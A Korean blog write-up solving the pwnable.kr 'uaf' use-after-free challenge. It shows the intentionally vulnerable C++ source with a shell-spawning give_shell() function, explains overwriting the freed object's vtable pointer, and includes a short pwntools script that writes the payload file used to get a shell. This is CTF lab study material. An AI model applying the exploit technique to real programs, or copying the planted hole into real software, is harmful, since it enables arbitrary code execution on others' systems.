uaf... Use After Free 취약점이다.


이 취약점은 malloc()이나 new로 할당받은 메모리를 해제한 후, 나중에 같은 크기만큼 할당받을 때, 같은 주소를 할당받아, 내용을 바꿀 수 있는 취약점이다.



#include <fcntl.h>

#include <iostream> 

#include <cstring>

#include <cstdlib>

#include <unistd.h>

using namespace std;


class Human{

private:

virtual void give_shell(){

system("/bin/sh");

}

protected:

int age;

string name;

public:

virtual void introduce(){

cout << "My name is " << name << endl;

cout << "I am " << age << " years old" << endl;

}

};


class Man: public Human{

public:

Man(string name, int age){

this->name = name;

this->age = age;

        }

        virtual void introduce(){

Human::introduce();

                cout << "I am a nice guy!" << endl;

        }

};


class Woman: public Human{

public:

        Woman(string name, int age){

                this->name = name;

                this->age = age;

        }

        virtual void introduce(){

                Human::introduce();

                cout << "I am a cute girl!" << endl;

        }

};


int main(int argc, char* argv[]){

Human* m = new Man("Jack", 25);

Human* w = new Woman("Jill", 21);

size_t len;

char* data;

unsigned int op;

while(1){

cout << "1. use\n2. after\n3. free\n";

cin >> op;


switch(op){

case 1:

m->introduce();

w->introduce();

break;

case 2:

len = atoi(argv[1]);

data = new char[len];

read(open(argv[2], O_RDONLY), data, len);

cout << "your data is allocated" << endl;

break;

case 3:

delete m;

delete w;

break;

default:

break;

}

}


return 0;

}



해당 코드를 보면 Human이라는 Class를 new로 할당받는다.

Human* m = new Man("Jack", 25);

Human* w = new Woman("Jill", 21);



그 후 입력을 받아 switch를 돌린다.


case 1:

m의 introduce()를 실행하고

w의 introduce()를 실행한다.


case 2:

argv[1]만큼 new로 할당받고, argv[2]의 파일을 열어 data에 len만큼 복사해 넣는다.


case 3:

m과 w를 해제한다.



우선 gdb에서 메모리를 보자.



heap으로 heap을 보니 vtable for Man+16이 보인다.


vtable은 cpp에서 virtual로 함수를 선언할때 생긴다. (자세한건 구글)


이 주소를 참조해 보자



주소들이 나오는데 




각각 give_shell 함수와 introduce함수인 것을 볼 수 있다.


즉 vtable for Man+16값이 fd에 들어있을 때 introduce가 실행되는 것 같다.


이 값에서 8을 뺴서(64bit파일이므로) 넣어주면 give_shell()함수가 실행될 것이다.


size가 0x21이므로 


argv[1] = 33, argv[2] = ./abcd로 하고 실행해 보았다.



from pwn import *


f = open('./abcd', 'w')


f.write(p64(0x0000000000401568))


f.write(p64(0x0000000000000021))


f.write(p64(0x0000000001ad3c38))


f.write(p64(0x0000000000000019))



f.close()



python을 사용해서 파일을 만들고 실행 했다.



보니 원래 들어가야 할 0x21이 아니라 0x31 에 들어간다. 0x21은 분명히 33인데... 그래서 size를 바꿔가면서 실행해보았다.



그리고 23에서 쉘이 뚫렸다.



이제 해당 코드를 pwnable서버로 옮겼다.



CLEAR

'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] blukat  (0) 2018.09.12
[Toddler's Bottle] asm  (0) 2018.09.12
[Toddle's Bottle] cmd2  (0) 2018.05.31
[Toddler's Bottle] cmd1  (0) 2018.05.29
[Toddler's Bottle] lotto  (0) 2018.05.29
블로그 이미지

천재보다는 범재

,